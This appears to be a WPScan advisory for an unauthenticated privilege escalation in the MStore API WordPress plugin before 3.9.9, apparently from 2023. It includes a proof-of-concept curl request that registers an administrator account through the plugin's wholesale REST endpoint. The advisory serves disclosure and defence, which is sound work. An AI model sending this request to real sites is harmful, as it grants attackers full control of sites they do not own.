WordPress Plugin Vulnerabilities
MStore API < 3.9.9 - Unauthenticated Privilege Escalation
Description
The plugin does not prevent visitors from creating user accounts with the role of their choice via their wholesale REST API endpoint. This is only exploitable if the site owner paid to access the plugin's pro features.
Proof of Concept
1) Simulate the site has a valid Pro API key by running the following in WP CLI:
wp> update_option('mstore_purchase_code', true)
2) Send the following request:
curl --url 'http://vulnerable-site.tld/wp-json/api/flutter_wholesale/register' -H 'Content-Type: application/json' --data '{"username":"new_user","email":"[email protected]","role":"administrator","password":"user_password"}'
Affects Plugins
Fixed in 3.9.9 References
CVE
Classification
Type
PRIVESC
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Truoc Phan
Submitter
Truoc Phan
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-06-19 (about 5 months ago)
Added
2023-06-19 (about 5 months ago)
Last Updated
2023-06-19 (about 5 months ago)
WPScan 